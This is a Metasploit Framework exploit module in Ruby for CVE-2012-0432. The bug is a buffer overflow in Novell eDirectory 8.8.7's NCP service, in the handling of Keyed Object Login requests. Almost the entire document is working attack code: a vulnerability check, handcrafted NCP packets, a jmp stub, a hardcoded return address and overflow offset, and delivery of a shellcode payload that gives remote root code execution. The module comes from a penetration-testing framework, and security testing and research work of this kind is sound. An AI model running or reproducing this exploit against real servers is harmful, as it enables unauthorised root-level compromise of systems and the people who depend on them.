## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Novell eDirectory 8 Buffer Overflow', 'Description' => %q{ This exploit abuses a buffer overflow vulnerability in Novell eDirectory. The vulnerability exists in the ndsd daemon, specifically in the NCP service, while parsing a specially crafted Keyed Object Login request. It allows remote code execution with root privileges. }, 'Author' => [ 'David Klein', # Vulnerability Discovery 'Gary Nilson', # Exploit 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0432'], [ 'OSVDB', '88718'], [ 'BID', '57038' ], [ 'EDB', '24205' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=3426981' ], [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jan/97' ] ], 'DisclosureDate' => 'Dec 12 2012', 'Platform' => 'linux', 'Privileged' => true, 'Arch' => ARCH_X86, 'Payload' => { }, 'Targets' => [ [ 'Novell eDirectory 8.8.7 v20701.33/ SLES 10 SP3', { 'Ret' => 0x080a4697, # jmp esi from ndsd 'Offset' => 58 } ] ], 'DefaultTarget' => 0 )) register_options([Opt::RPORT(524),], self.class) end def check connect sock.put(connection_request) res = sock.get disconnect if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0 # res[8,2] => Reply Type # res[15,1] => Connection Status return Exploit::CheckCode::Safe end return Exploit::CheckCode::Detected end def connection_request pkt = "\x44\x6d\x64\x54" # NCP TCP id pkt << "\x00\x00\x00\x17" # request_size pkt << "\x00\x00\x00\x01" # version pkt << "\x00\x00\x00\x00" # reply buffer size pkt << "\x11\x11" # cmd => create service connection pkt << "\x00" # sequence number pkt << "\x00" # connection number pkt << "\x00" # task number pkt << "\x00" # reserved pkt << "\x00" # request code return pkt end def exploit connect print_status("Sending Service Connection Request...") sock.put(connection_request) res = sock.get if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0 # res[8,2] => Reply Type # res[15,1] => Connection Status fail_with(Exploit::Failure::UnexpectedReply, "Service Connection failed") end print_good("Service Connection successful") pkt = "\x44\x6d\x64\x54" # NCP TCP id pkt << "\x00\x00\x00\x00" # request_size (filled later) pkt << "\x00\x00\x00\x01" # version (1) pkt << "\x00\x00\x00\x05" # reply buffer size pkt << "\x22\x22" # cmd pkt << "\x01" # sequence number pkt << res[11] # connection number pkt << "\x00" # task number pkt << "\x00" # reserved pkt << "\x17" # Login Object FunctionCode (23) pkt << "\x00\xa7" # SubFuncStrucLen pkt << "\x18" # SubFunctionCode pkt << "\x90\x90" # object type pkt << "\x50" # ClientNameLen pkt << rand_text(7) jmp_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{target['Offset'] + 4}").encode_string pkt << jmp_payload # first byte is the memcpy length, must be bigger than 62 to to overwrite EIP pkt << rand_text(target['Offset'] - jmp_payload.length) pkt << [target.ret].pack("V") pkt << payload.encoded pkt[4,4] = [pkt.length].pack("N") print_status("Sending Overflow on Keyed Object Login...") sock.put(pkt) sock.get disconnect end end